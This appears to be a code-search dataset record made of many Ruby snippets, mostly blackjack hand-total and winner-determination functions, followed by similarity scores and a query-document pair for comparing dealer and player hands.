end\n\n puts \"You have #{@hand_totals.count} possible total(s) with #{@hand_totals.count - 1} Aces:\"\n @hand_totals.each do | total, ace_distrobution |\n if total > 21\n puts \"BUSTED!- #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n elsif total == 21 && @hand.count == 2\n puts \"BLACKJACK - #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n elsif total == 21\n puts \"WINNING HAND - #{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n else\n puts \"#{total} - [A: #{ace_distrobution[:hi]} hi, #{ace_distrobution[:lo]} lo]\"\n end\n end\n end", "def hand_check(player_check)\n if player_check.hand_total > 21\n player_check.bust = true\n puts \"#{player_check.name} busted with #{player_check.hand_total}\"\n winner\n elsif player_check.hand_total == 21\n winner\n elsif six_cards?(player_check) == true\n puts \"~~~Six cards! #{player_check.name} wins!~~~\" ; player_check.score += 1\n show_hands_final\n again?\n end\n end", "def calc_hand_total(cards)\r\n total = 0\r\n numbers_only_array = cards.map {|g| g[0]}\r\n numbers_only_array.each do |h|\r\n if h == 'ace'\r\n total += 11\r\n elsif h.to_i == 0\r\n total += 10\r\n else\r\n total += h.to_i\r\n end\r\n end\r\n\r\n numbers_only_array.select {|k| k == \"ace\"}.count.times do\r\n total -= 10 if total > 21 \r\n end\r\n\r\n total\r\nend", "def calculate_total(hand) #[['2', 's'], ['a', 'd'], ... etc.] \n \n total = 0\n aces = 0\n hand.each do |card|\n if ['J', 'Q', 'K'].include?(card[0])\n total += 10\n elsif card[0] == 'A'\n aces += 1\n else \n total += card[0].to_i\n end\n end\n \n while aces > 0\n if total + 11 > 21\n total += 1\n else\n total += 11\n end\n aces -= 1\n end\n total\nend", "def check_break?(hand_value)\n hand_value > 21 ? true : false\nend", "def is_high_card( hand )\n\treturn hand.map { | e | card_value( e ) }.max\nend", "def decide(hand)\n value(hand) >= 17 && :stand || :hit\nend", "def checkHand\n possible_hands = possibleHandValues\n if possible_hands.include?(21)\n return BLACKJACK\n elsif possible_hands.empty?\n return LOST\n else\n return possible_hands.max\n end\n end", "def eval_hand(player, player_hand)\n d = @dealer.hand.count\n p = player_hand.count\n\n if p > 21 || (d > p && d <= 21) # LOSE!\n puts \"You lost $#{player_hand.bet}.\"\n elsif d == p # PUSH!\n player.wallet += player_hand.bet\n puts :Push\n elsif p == 21 && player_hand.size == 2 # BLACKJACK!\n # Blackjack pays out 3/2.\n player.wallet += (player_hand.bet*2.5).to_i\n puts \"You won $#{player_hand.bet*1.5}!\"\n else # WIN!\n player.wallet += (player_hand.bet*2)\n puts \"You won $#{player_hand.bet}!\"\n end\n end", "def hit\n new_card = @deck.cards.pop\n @current_hand << new_card\n @total += new_card.value\n puts \"drew #{@current_hand[-1].card_id}\"\n\n @current_hand.each do |card|\n if @total > 21\n if card.value == 11 && card.ace_low == false\n @total -= 10\n card.ace_low = true\n end\n end\n end\n end", "def shouldHit\n # If 17 or above, lock the hand so it cannot receive any more cards\n \tif @hands[0].checkHand > 16 or @hands[0].checkHand < 0\n \t @hands[0].lock\n \tend\n \t@hands[0].canGetCards\n end", "def check\n containAce = false\n i = 0\n sum = 0\n while i < @hand.length\n if 1 == num_to_value(@hand[i])\n containAce = true\n end\n sum += num_to_value(@hand[i])\n i += 1\n end\n\n if containAce\n if sum < 7\n @value = sum + 10\n elsif sum < 11\n @value = sum + 10\n @status = \"finished\"\n elsif 11 == sum\n if 2 == @hand.length \n @value = 50 # 50 means it's BLACKJACK\n @status = \"finished\"\n else\n @value = 21\n @status = \"finished\"\n end\n elsif sum < 17\n @value = sum\n else sum <= 21\n @value = sum\n @status = \"finished\"\n end\n else\n if sum < 17\n @value = sum\n else\n @value = sum\n @status = \"finished\"\n end\n end\n end", "def eval_7_card_hand( cards )\n 1\n end", "def can_hit\n if total.is_a?(Array)\n return 1\n else\n return 1 if total < 21\n end\n return nil\n end", "def dealer_decision\n while hand_value(@dealer_hand) < 17 \n puts \"\\nDealer hits!\"\n hit(@dealer_hand)\n show_hands()\n end\n end", "def total\n tot = 0\n for card in @cards\n tot += card.value\n end\n if has_ace and tot < 12\n tot2 = tot + 10\n if tot2 > 17\n return tot2\n elsif tot2 == 17\n unless @hit_soft_17\n return tot2\n end\n end\n end\n return tot\n end", "def full_house(hand)\n\t\tif (pair(hand) > 0 and three_of_a_kind(hand) > 0)\n\t\t\treturn 6\n\t\tend\n\t\treturn 0\n\tend", "def keepable_hand\n keepable = false\n if @hand.count('land') >= 3 && @hand.count('land') <= 4 && @hand.size > 5\n keepable = true\n elsif\n @hand.count('land') >= 3 && @hand.count('low_curve') >= 1 && @hand.size >= 5\n keepable = true\n elsif\n @hand.count('land') >= 2 && @hand.count('ramp') >= 1 && @hand.size >= 5\n end\n keepable\n end", "def check_who_wins(hand_total_dealer, hand_total_player)\n hand_to_use_dealer = 0\n hand_to_use_player = 0\n\n if hand_total_dealer[1] <= 21\n hand_to_use_dealer = hand_total_dealer[1]\n else\n hand_to_use_dealer = hand_total_dealer[0]\n end\n\n if hand_total_player[1] <= 21\n hand_to_use_player = hand_total_player[1]\n else\n hand_to_use_player = hand_total_player[0]\n end\n\n if hand_to_use_player < hand_to_use_dealer\n return \"dealer\"\n elsif hand_to_use_dealer < hand_to_use_player\n return \"player\"\n elsif hand_to_use_player = hand_to_use_dealer\n return \"draw\"\n end\n\nend", "def is_bust\n unless total.is_a?(Array)\n return 1 if total > 21\n end\n return nil\n end", "def calculate_total hand\n\ttotal=0\n\tarray = hand.map {|e| e[1]}\n\tarray.each do |card|\n\t\t## face card \n\t\tif card == \"10\" || card ==\"J\" || card ==\"K\" || card ==\"Q\"\n\t\t\ttotal +=10\n\t\t## Ace card\t\n\t\telsif card ==\"A\"\n\t\t\ttotal += 11\n\t\telse \n\t\t\ttotal += card.to_i\n\t\tend\n\tend\n\thand.collect {|e| e[1]}.each do |card|\n\t\tif total >21 && card == \"A\"\n\t\t\ttotal -= 10\n\t\tend\n\tend\n\n\treturn total \nend", "def check\n curhand = \"hand ##{@cur+1} contains: \"\n containAce = false;\n sum = 0\n i = 0\n while i<@hands[@cur].length\n if 1 == num_to_value(@hands[@cur][i])\n containAce = true\n end\n sum += num_to_value(@hands[@cur][i])\n curhand += num_to_rank(@hands[@cur][i]) + \" \"\n i += 1\n end\n\n puts \"---------------------------------------------------------\"\n puts curhand\n\n if containAce\n if sum < 11\n puts \"hand ##{@cur+1} value: #{sum}/#{sum+10}\"\n @values[@cur] = sum + 10 # store the higher value which benefits the player\n elsif 11 == sum \n if 2 == @hands[@cur].length && 1 == @hands.length # a blackjack!! no split and only contain two cards\n puts \"hand ##{@cur+1} value: BLACKJACK!!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 50 # use 50 to represent a blackjack\n else\n puts \"hand ##{@cur+1} value: 21\"\n @values[@cur] = 21\n @hands_status[@cur] = \"finished\"\n end\n elsif sum < 21\n puts \"hand ##{@cur+1} value: #{sum}\"\n @values[@cur] = sum\n elsif 21 == sum\n puts \"hand ##{@cur+1} value: 21\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 21\n else\n puts \"hand ##{@cur+1} value: #{sum} busted!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = sum \n end\n else\n if sum < 21\n puts \"hand ##{@cur+1} value: #{sum}\"\n @values[@cur] = sum\n elsif 21 == sum\n puts \"hand ##{@cur+1} value: 21\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = 21\n else\n puts \"hand ##{@cur+1} value: #{sum} busted!\"\n @hands_status[@cur] = \"finished\"\n @values[@cur] = sum\n end\n end\n\n\n puts \"bets for hand ##{@cur+1}: #{@bets[@cur]}\"\n puts \"---------------------------------------------------------\"\n\n if \"finished\" == @hands_status[@cur] \n puts \"hand ##{@cur+1} finished\"\n puts \"\"\n if @cur < @hands.length - 1\n @cur += 1 \n self.check # this recursion is to output the information about newly splitted hand's initial status\n end\n end\n\n end", "def determine_dealers_lowest_total\n sum_of_dealers_hand = 0\n @dealer_hand.each {|x|\n card_value = @deckhash.fetch(x)\n if card_value == 1 then card_value = 11\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n }\n # ### This method returns sum of dealer's hand\n return sum_of_dealers_hand\n end", "def blackjack(hand)\n value(hand) == 21 && hand.length == 2\n end", "def show_hands\n player_final_value = player_hand.reduce(:+)\n dealer_final_value = dealer_hand.reduce(:+)\n puts \"Player has a total of #{player_final_value}. Dealer has a total of #{dealer_final_value}\"\n if player_final_value > dealer_final_value\n puts \"You win, congrats on beating a program built by a novice.\"\n else\n puts \"I have bested you.\"\n end\n end", "def play_as_dealer(deck)\r\n if value < 17\r\n hit!(deck)\r\n play_as_dealer(deck)\r\n else\r\n puts \"Dealer Total is #{value}\"\r\n end\r\n end", "def busted?(total)\n total > GAME_HIGH\nend", "def eval_7hand(hand)\n best = 9999\n subhand = []\n\n (0..20).each do |i|\n (0..4).each do |j|\n subhand[j] = hand[ Arrays::PERM7[i][j] ]\n q = eval_5hand(subhand)\n if q < best\n best = q\n else\n return best\n end\n end\n end\n end", "def determine_dealers_best_total\n # @dealer_hand = ['ace of spades', '5 of spades', '4 of spades', 'ace of diamonds']\n # @player1_hand = ['3 of spades', 'ace of hearts', '4 of spades', 'ace of clubs']\n # @player1_hand = ['ace of clubs', '2 of clubs', 'ace of hearts', '4 of hearts']\n # @dealer_hand = ['king of hearts', '6 of diamonds']\n sum_of_dealers_hand = 0\n number_of_aces_in_hand = 0\n @dealer_hand.each {|x| # begin loop adding dealers hand\n card_value = @deckhash.fetch(x)\n\n if card_value == 1 then # adjust aces to a value of 11\n card_value = 11\n number_of_aces_in_hand = number_of_aces_in_hand + 1\n end\n sum_of_dealers_hand = sum_of_dealers_hand + card_value\n\n } #end of loop adding dealers hand\n\n if sum_of_dealers_hand > 21 then # must set one or more aces back to one\n loop do\n if number_of_aces_in_hand == 0 then break end\n sum_of_dealers_hand = sum_of_dealers_hand - 10\n if sum_of_dealers_hand < 22 then break end\n number_of_aces_in_hand = number_of_aces_in_hand - 1\n end #end of loop do\n end #end of sum_of_dealers_hand > 21\n\n # $stdout.write(\"Showing card and value #{sum_of_dealers_hand}, #{number_of_aces_in_hand} \\n\")\n # ### this method returns of the dealer's best hand'\n\n sum_of_dealers_hand = sum_of_dealers_hand + 0\n\n end", "def deal_and_total(name, hand_array, deck_hash)\n read_hand(name, hand_array, deck_hash)\n new_hand_value = sum_cards(hand_array, deck_hash)\nend", "def card_total(hand)\n total = 0\n ace = hand.select {|x| x[0] == 'A'}\n # Calculation of hand without aces.\n if ace == []\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n total\n else\n # Calculation of hand with ace(s)\n # Delete aces from hand array\n ace.each do |a|\n hand.each {|x| hand.delete(a) if x == a}\n end\n # Calculate hand without aces\n hand.each do |x|\n x = x[0..-2].to_i\n x == 0? total += 10 : total += x\n end\n ace.each {|a| hand << a}\n # Add the value of ace(s) to the current total\n nr_ace = ace.length\n case nr_ace\n when 1\n total <= 10? total += 11 : total += 1\n when 2\n total <= 9? total += 12 : total += 2\n when 3\n total <= 8? total += 13 : total += 3\n else\n total <= 7? total += 14 : total += 4\n end\n total \n end\nend", "def get_hand_value(hand)\n hand_values = hand.map { |card| card[0]} \n \n total = 0\n #check if there are any Aces\n hand_values.each do |value|\n if value == 'A'\n total += 11\n elsif value.to_i == 0 # this is for J, Q, K\n total += 10\n else\n total += value.to_i\n end\n end\n # To accomodate Aces, subtract 10 from the total per Ace if the total is >21\n hand_values.select{|value| value == \"A\"}.count.times do \n total -= 10 if total >21\n end\n total\nend", "def bust (total)\n if total > 21\n return true\n else \n return false\n end\nend", "def exceeded?(amount = 1)\n used + amount > max\n end", "def evaluate(hand) \n value = 0\n numerical_value = hand.map { |card| card[0]} \n numerical_value.each do |x| \n if ['K', 'Q', 'J'].include?(x)\n value += 10\n elsif x == 'A'\n value += 11\n else\n value += x.to_i\n end\n end\n \n hand.select {|x| x[0] == 'A'}.count.times do \n if value > 21\n value -= 10\n end\n end\n value\nend", "def handle_ace(hand,sum)\n\t\tputs \"inside handleace #{sum} and #{hand}\"\n\t\tif sum > 21 && hand.include?(21)\n\t\t\thand.each { |x| \n\t\t\t\tif x==\"A21\" \n\t\t\t\tx=\"A1\" \n\t\t\t\tend}\n\t\t\treturn hand\n\t\tend\n\tend", "def must_hit\n return true if @hand.point != \"Blackjack\" && @hand.point <= 16\n return false\n end", "def tally(hand)\n arr = hand.map{|e| e[0]} #gets the second element of the nested array (cos arrays are zero indexed)\n running_total = 0 #initialise this at the beginning & then iterate through each value to get the total from our new hand_total array\n \n arr.each do |value|\n if value == 'A'\n running_total += 11\n elsif value == 'J' || value == 'Q' || value == 'K' #could also say value.to_i ==0 because it would fail and return a 0\n running_total += 10\n else\n running_total += value.to_i\n end\n end\n\n # correct for Aces\n arr.select{|e| e == \"A\"}.count.times do\n running_total -= 10 if running_total > 21\n end\n \n running_total\nend", "def calculate_total\n total = 0\n cards.each {|a_card| total += a_card.value }\n #correct for Aces, if we have blown over 21\n cards.each do |a_card| \n if a_card.face == ACE \n total -= (ACE_VALUE - ACE_ALT_VALUE) if total > BLACKJACK\n end\n end\n total\n end", "def healthy? (tablespoons_of_butter, butter_calories = 102)\n (tablespoons_of_butter * butter_calories) < 75\nend", "def dealer_turn\r\n dealer.reveal_hand\r\n if dealer.total_for_hand < 17\r\n loop do\r\n dealer.add_to_hand(deck)\r\n break if dealer.total_for_hand > 16\r\n end\r\n puts \"#{dealer.name} has #{dealer.total_for_hand}\"\r\n end\r\n end", "def hand_value (hand)\n hand_value = 0\n hand.each do |card|\n case card.value\n when /[2-9]|[1][0]/ \n hand_value += card.value.to_i \n when /[JQK]/\n hand_value += 10\n when \"A\"\n hand_value += 11\n if hand_value > 21\n hand_value -= 10 \n end \n end\n end\n hand_value\n end", "def hand_value(hand)\n sum = 0\n hand.each do |card|\n sum += card\n end\n sum\n end", "def get_hand_sum(curr_hand) \n curr_hand.inject(0) { |sum, card| sum + card }\n end", "def winning_hand\n if !(@player.hand.bust)\n if @player.hand.value > @dealer.hand.value\n player_win\n elsif @player.hand.value == @dealer.hand.value\n if @player.hand.blackjack? && [email protected]?\n player_win\n else\n puts \"The hand pushed\"\n @player.push_bet\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You lost the hand\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n else\n puts \"You busted\"\n puts \"You have #{@player.chips_remaining} remaining\"\n end\n end", "def check_dealer_hand(dealer_hand)\n case count_hand(dealer_hand)\n when 2..16\n return 0\n when 22..100\n return -1\n else\n return 1\n end\nend", "def sum\n\t\t#sets sum at 0\n\t\tsum = 0\t\t\n\n\t\t#adds each card to the sum\n\t\t@hand_contents.each do |card|\n\t\t\tsum += card.number\n\t\tend\n\n\t\t@hand_contents.each do |card|\n\t\t\tif card.number.eql? 1 then\n\t\t\t\tif sum + 10 <= 21 then\n\t\t\t\t\tsum += 10\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\n\t\t#return the sum\t\t\n\t\treturn sum\n\tend", "def hand_value(cards)\n value = 0\n val_arr = []\n cards.each do |sub_array|\n val_arr << sub_array.last\n val_arr.sort!\n end\n val_arr.each do |val|\n if val == 11 && value > 10\n value = value + 1 \n else\n value = value + val\n end\n end\n return value\nend", "def calculate_total(cards) # input is an array of arrays\n\tarr = cards.map { |e| e[1] } # gets second element of the array and loads that into a new array\n\n\ttotal = 0\n\tarr.each do |value|\n\t\ttotal = total + value\n\tend\n\n\tarr.select { |e| e == 11}.count.times do # corrects for aces\n\t\tif total > 21\n\t\t\ttotal = total - 10\n\t\tend\n\tend\n\nreturn total\nend", "def dealer_hand_total\n dealers_hand.inject(0) {|sum, card| sum + card.value}\n end", "def possibleHandValues\n \thand_values = Set.new [0] # start with value 0\n \[email protected] do |card| # for each card in the hand\n \t card_values = card.getValue\n \t new_hand_values = Set.new # add its value to all the possible\n \t hand_values.each do |total| # values for each of the previous\n \t \tcard_values.each do |card_value| # cards\n new_hand_values << total+card_value\n end\n end\n # Swap variable names. This makes the loop simpler\n new_hand_values, hand_values = hand_values, new_hand_values\n new_hand_values.clear\n end\n # Get the values that are below 21\n hand_values.delete_if do |value|\n if value > BLACKJACK\n true\n end\n end\n hand_values # Return set of possible values\n end", "def score\n handscore = possible_scores.sort.reverse\n handscore.detect { |value| value <= 21 } or handscore.last\n end", "def dealer_turn\n puts \"Dealer's Turn. Showing #{dealer_hand[0]}\"\n dealer_value = dealer_hand.reduce(0) {|sum, num| sum + num.value}\n if dealer_value < 16\n d_hit_phase\n end\n puts dealer_value\n end", "def high_card(hand)\n\t\thand_num = check_num(hand)\n\t\treturn hand_num.max\n\tend", "def hand_value(hand)\n return 0 if hand.empty?\n value = 0\n\n # Add up the face values\n hand.each do |card|\n value += FACE_VALUES[card.face]\n end\n\n # Handle any needed Ace changes.\n while value > BUST\n hand.each do |card|\n if card.face == 'A'\n # Subtract the difference between high and low ace (10).\n value -= (FACE_VALUES['A'] - FACE_VALUES['L'])\n end\n end\n break # no aces to change, bail\n end\n\n return value\n end", "def under_five(cart)\n\tcart.all? do |item|\n\t\titem.all? do |name, data|\n\t\t\tdata[:price] <= 5\n\t\tend\n\tend\nend", "def stop_hit(hand)\r\n return true if hand.is_bust\r\n return true if hand.hand_score == [17]\r\n return true if hand.hand_score.max > 17\r\n return false\r\n end", "def get_hand_score\n score = 0\n \n # Add up score of non-aces\n values = hand.map{|card| card.value}\n values.each do |val|\n if Array(2..10).include?(val.to_i)\n score += val.to_i\n elsif [\"J\", \"Q\", \"K\"].include?(val)\n score += 10\n end\n end\n\n # deal with the aces\n values.count(\"A\").times do\n if score + 11 <= 21\n score += 11\n else\n score += 1\n end\n end\n\n return score\n end", "def sum_of_cards(hand)\n card_values = hand.map do |card|\n if card[0] == 1\n card[0] = 11\n elsif card[0] >= 11\n card[0] = 10\n else\n card[0]\n end\n end\n sum = 0\n card_values.each do |card|\n sum += card[0]\n end\n sum\n end", "def result(hand)\n v = value(hand)\n case v\n when 21 then hand.size == 2 && :natural || 21\n when 17..20 then v\n when 0..16 then raise \"error, illegal resulting hand value\"\n else :bust\n end\nend", "def double_bet?(hand)\n return @hands.include?(hand) && hand.double? && @cash - hand.bet >= 0\n end", "def calculate_hand_total_value(hand_array)\n total_value = 0\n is_there_an_ace = false\n\n hand_array.each do |card|\n if card[:rank] === \"A\"\n is_there_an_ace = true\n end\n\n card_value = card[:value]\n total_value += card_value\n\n end\n\n if is_there_an_ace\n return [total_value, total_value + 10]\n\n else\n return [total_value, 999]\n\n end\n\nend", "def blackjack (total)\n if total == 21\n return true\n else \n return false\n end\nend", "def calculate_total(cards)\n arr = cards.map{|e| e[1] }\n\n total = 0 \n arr.each do |value|\n if value == \"Ace\"\n total == 11\n elsif value.to_i == 0 # Jack Queen or King\n total += 10\n else\n total += value.to_i\n end\n end\n\narr.select{|e| e == \"Ace\"}.count.times do\n if total > 21\n total -= 10 \n end\nend\n#if arr.include?(\"Ace\") && total > 21\n #total -= 10 \n total\nend", "def calculate_conditions\n if hand_value(@dealer_hand) > 21\n puts \"\\ndealer busts! You WIN!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) == hand_value(@dealer_hand)\n puts \"\\nHand is a push! You get your money back\"\n elsif hand_value(@player_hand) > hand_value(@dealer_hand)\n puts \"\\nYou Win!\"\n @user[:balance] += @wager\n puts \"\\nYour new balance is $#{@user[:balance]}\"\n elsif hand_value(@player_hand) < hand_value(@dealer_hand)\n puts \"HOUSE WINS. Try again\"\n @user[:balance] -= @wager\n puts \"Your new balance is $#{@user[:balance]}\"\n else\n puts \"Something went wrong\"\n end\n end", "def six_cards?(player_check)\n if (player_check.hand.length == 6) && (player_check.hand_total < 21)\n return true\n else\n return false\n end\n end", "def bust_method\n\tif original_total > 21 \n\t\tputs \"You have BUSTED!\"\n\telsif original_total == 21\n\t\tputs \"You got 21!\"\n\telsif original_total < 21 \n\t\tputs \"Hit or Stay?\"\n\tend \nend", "def is_straight( hand )\n\tcards = hand.map { | e | card_value( e ) }.sort\n\treturn ( 1..cards.length-1 ).all? { | i | cards[ i ]-1 == cards[ i-1 ] } ?\n\t1 : 0\nend", "def calculate_score(hand_of_cards)\n card_values = hand_of_cards.map{|card_value| card_value[1]}\n total = 0 \n card_values.each do |card_value| \n if card_value == \"ACE\"\n total+= 11\n elsif card_value.to_i == 0 #For suits ie Jester, Queen\n total+= 10\n else \n total+= card_value.to_i\n end\n end \n\n#adjust for Aces\n card_values.select{|card| card == \"ACE\"}.count.times do \n total-=10 if total > 21\n end \n total\nend", "def total (hand, current_total)\n # cards are nested arrays format like this: [\"H\", \"9\"] and [\"S\", \"9\"]\n # can extract out separate array of values only using .map, ignore suits\n string_values = hand.map { |card| card[1] } \n\n string_values.each do |value|\n current_total += get_int_value(value, current_total)\n end\n current_total\nend", "def win_or_bust(player)\n total = player.calculate_total\n \n if total == 21\n player_wins(player)\n elsif total > 21\n player_busts(player)\n end\nend", "def get_dealer_total(dealer_hand,dealer_turn)\n\tdealer_total = 0\t# Total value of dealer's visible cards\n\n\tif !dealer_turn\n\t\tdealer_total = $cards[dealer_hand[0]]\n\telse\n\t\tfor i in 0 .. dealer_hand.length - 1\n\t\t\tdealer_total += $cards[dealer_hand[i]]\n\t\tend\n\tend\n\treturn dealer_total\nend", "def hit?(total)\n prompt_user\n choice = get_user_input\n if choice == 's'\n return total\n elsif choice == 'h'\n total += deal_card\n else\n invalid_command\n return hit?(total)\n end\n return total\nend", "def value(hand)\n # Sorting hack to get aces at the very end so we count them last\n hand.sort_by { |c| c.to_i != 0 ? c : c[0] - 81 }.reverse().inject(0) do |total,cur|\n if cur.to_i != 0\n total + cur # 2-10 case\n elsif [\"J\",\"Q\",\"K\"].include? cur\n total + 10 # J,Q, or K\n elsif cur == \"A\"\n if (total+11) > 21\n total + 1 # Count ace as 1\n else\n total+11 # Count ace as 11\n end\n end\n end\n end", "def isOver?\n @deck.cardsRemaining < MIN_CARDS\n end", "def player_hand_total\n players_hand.inject(0) {|sum, card| sum + card.value}\n end", "def dealer_turn(dealer_cards, deck)\n loop do\n break if hand_value(dealer_cards) >= DEALER_THRESHOLD\n hit(dealer_cards, deck)\n end\n puts \"\\nThe dealer has: #{cards_string(dealer_cards)}.\\n\\\ntotal: #{hand_value(dealer_cards)}\"\n puts \"The dealer busted!\" if busted?(dealer_cards)\nend", "def evaluate right_amt, wrong_amt\n percent = self.get_current right_amt, wrong_amt\n\n self.threshold.to_f <= percent\n end", "def win?(player_check)\n other = \"\"\n player_check == player ? other = dealer : other = player\n if (player_check == player)&&(player_check.hand_total == other.hand_total)\n return \"Tie\"\n elsif (player_check.bust == false) && (other.bust == false) && (player_check.hand_total > other.hand_total)\n return true\n elsif (player_check.hand_total == 21)\n return true\n elsif (player_check.bust == false) && (other.bust == false)&&(player_check.hand_total < other.hand_total)\n return false\n elsif (player_check.bust == false) && (other.bust == true)\n return true\n elsif (player_check.bust == true) && (other.bust == false)\n return false\n elsif (player_check.bust = true) && (other.bust == true)\n return \"Bust\"\n end\n end", "def get_player_total(player_hand)\n\tplayer_total = 0 \t\t# Total value of player's hand\n\n\tfor i in 0..player_hand.length - 1\n\t\tplayer_total += $cards[player_hand[i]]\n\tend\n\treturn player_total\nend", "def cannot_be_greater_than_10\n turns.each do |turn|\n if turn.sum > 10 || turn.sum < 0\n errors.add(:base, 'sum of each frame values should be less than or equal to 10')\n end\n end\n end", "def total_high\n if is_soft\n return total[1]\n end\n return total\n end", "def straight?\n hand = values.sort\n hand.uniq.length == 5 && hand[4] - hand[0] == 4\n end", "def house_rules\n while get_hand_value(@dealer_hand) < 17\n puts \"HOUSE HITS\".colorize(:red)\n hit(@dealer_hand)\n puts \"HOUSE NOW SITS ON #{get_hand_value(@dealer_hand)}\".colorize(:blue)\n return\n end \nend", "def hand_value\n\t\tadd_card_value(all_sums = [[]])\n\t\tconvert_aces(all_sums)\n\t\tall_sums.map! do |value_set|\n\t\t\tvalue_set.inject :+\n\t\tend\n\t\treturn_sum(all_sums)\n\tend", "def place_bet(hand)\n if @hands.include?(hand) && @cash - @bet >= 0\n hand.bet = @bet\n @total_bet += hand.bet\n @cash -= @bet\n return true\n else\n return false\n end\n end", "def count_score(array)\n total = 0\n sorted_hand = array.sort_by { |x| value(x) }\n sorted_hand.each do |x|\n if value(x) == 11 && total >= 11\n total += 1\n else\n total += value(x)\n end\n end\n total\nend", "def determine_winning_hand(dealer, player)\n if dealer > 21\n puts \"The dealer busts with a hand total of #{dealer}. You win!\"\n elsif dealer > player\n puts \"The dealer, with a hand total of #{dealer}, beats your hand total of #{player}. Dealer wins!\"\n elsif player > dealer\n puts \"Your hand total of #{player} beats the dealer's hand total of #{dealer}. You win!\"\n else\n puts \"Both of your hands total #{player}. It's a push!\"\n end\nend", "def calculate_score(values)\n total = 0\n values.each do |card|\n total += card\n if total > 21 && card == 11\n total -= 10\n end\n end\n total\n end", "def total_on_hand\n if @variant.should_track_inventory?\n stock_items.sum(:count_on_hand)\n else\n Float::INFINITY\n end\n end", "def value_of_hand(array_of_cards)\n faces = {\"A\" =>11,\n \"2\" => 2, \n \"3\" => 3,\n \"4\" => 4,\n \"5\" => 5,\n \"6\" => 6,\n \"7\" => 7,\n \"8\" => 8,\n \"9\" => 9,\n \"10\" => 10,\n \"J\" => 10,\n \"Q\" => 10,\n \"K\" => 10\n }\n total_value = 0\n num_aces = 0\n array_of_cards.each do |c|\n #cards are in string format, e.g. \"J of diamonds\"\n face = c.split[0]\n value = faces[face]\n total_value += value\n num_aces += 1 if face == \"A\"\n end\n #correct for Aces -- BORROWED THIS LOGIC FROM TEACHER'S CODE\n num_aces.times do\n total_value -= 10 if total_value > 21\n end\n return total_value\nend" ]
[ "0.7502731", "0.6977029", "0.6482885", "0.6364178", "0.62731576", "0.62155086", "0.62040573", "0.61447674", "0.61328185", "0.61140895", "0.61138225", "0.61091626", "0.60509753", "0.60326463", "0.60163355", "0.59590805", "0.59103787", "0.5881814", "0.5846648", "0.58366174", "0.5782006", "0.57700884", "0.57091105", "0.570865", "0.5704989", "0.57035786", "0.5698787", "0.5696978", "0.5683739", "0.5682773", "0.5681623", "0.56705356", "0.5664494", "0.56629837", "0.56621236", "0.5639737", "0.5634859", "0.5627193", "0.5611336", "0.5606198", "0.55992466", "0.5577556", "0.5561791", "0.5561106", "0.5542639", "0.55052507", "0.55041665", "0.54929316", "0.5489369", "0.5484897", "0.54792935", "0.5474903", "0.54613066", "0.5433632", "0.5424559", "0.541206", "0.54093415", "0.54087317", "0.5407956", "0.539663", "0.5382907", "0.53793114", "0.53751194", "0.5355532", "0.53434545", "0.5341394", "0.53363466", "0.53240335", "0.53165483", "0.5309745", "0.53002846", "0.5298339", "0.52920425", "0.52691954", "0.5261073", "0.52607083", "0.52605027", "0.52589005", "0.5252049", "0.52340436", "0.52302504", "0.52244294", "0.5220561", "0.5218446", "0.5210937", "0.52084047", "0.5206867", "0.51987505", "0.51895", "0.51742744", "0.51638824", "0.516268", "0.51590264", "0.51577747", "0.5156742", "0.5155649", "0.51496834", "0.5147455", "0.51374614", "0.5133093" ]
0.7662556
0
Compare the dealer and the player hands to determine who wins, it +++ returns either the winner ("dealer" or "player") or draw if it's +++ the case, takes two arguments: hand_total_dealer: an array representing the the total value of +++ the dealer hand. hand_total_player: an array representing the the total value of +++ the player hand.
def check_who_wins(hand_total_dealer, hand_total_player) hand_to_use_dealer = 0 hand_to_use_player = 0 if hand_total_dealer[1] <= 21 hand_to_use_dealer = hand_total_dealer[1] else hand_to_use_dealer = hand_total_dealer[0] end if hand_total_player[1] <= 21 hand_to_use_player = hand_total_player[1] else hand_to_use_player = hand_total_player[0] end if hand_to_use_player < hand_to_use_dealer return "dealer" elsif hand_to_use_dealer < hand_to_use_player return "player" elsif hand_to_use_player = hand_to_use_dealer return "draw" end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def winner\n if (win?(player) == true) && (win?(dealer) == false)\n show_hands_final\n puts \"#{player.name} wins!!!\\n\" ;player.score += 1\n elsif (win?(dealer) == true) && (win?(player) == false)\n show_hands_final\n puts \"#{dealer.name} wins!!!\\n\" ;dealer.score += 1\n elsif (win?(player) == \"Bust\") || (win?(dealer) == \"Bust\")\n show_hands_final\n puts \"#{player.name} and #{dealer.name} busted. It's a tie!\\n\"\n elsif win?(player) == \"Tie\"\n show_hands_final\n if player.hand_count > dealer.hand_count\n puts \"\\n#{player.name} and #{dealer.name} both show #{player.hand_total}.\\n\\n#{player.name} wins with #{player.hand.length} cards!!!\"\n player.score += 1\n elsif dealer.hand_count > player.hand_count\n puts \"\\n#{player.name} and #{dealer.name} both show #{player.hand_total}.\\n\\nDealer wins with #{dealer.hand.length} cards!!!\"\n dealer.score += 1\n else\n puts \"\\n#{player.name} and #{dealer.name} both show #{player.hand_total}.\\n\\n#{player.name} wins since both players have #{player.hand.length} cards!!!\\n\"\n player.score += 1\n end\n end\n again?\n end", "def determine_winner(playerHand, dealerHand)\n \n Console_Screen.cls #Clear the display area\n \n #Show the value of the player and dealer's hands\n puts \"Player's hand: \" + playerHand.to_s + \"\\n\\n\"\n puts \"Dealer's hand: \" + dealerHand.to_s + \"\\n\\n\\n\\n\\n\\n\"\n \n if playerHand > 21 then #See if the player has gone bust\n puts \"You have gone bust!\\n\\n\"\n\t result = \"The Dealer has won!\"\n print \"Press Enter to continue.\" \n else #See if the player and dealer have tied\n if playerHand == dealerHand then\n 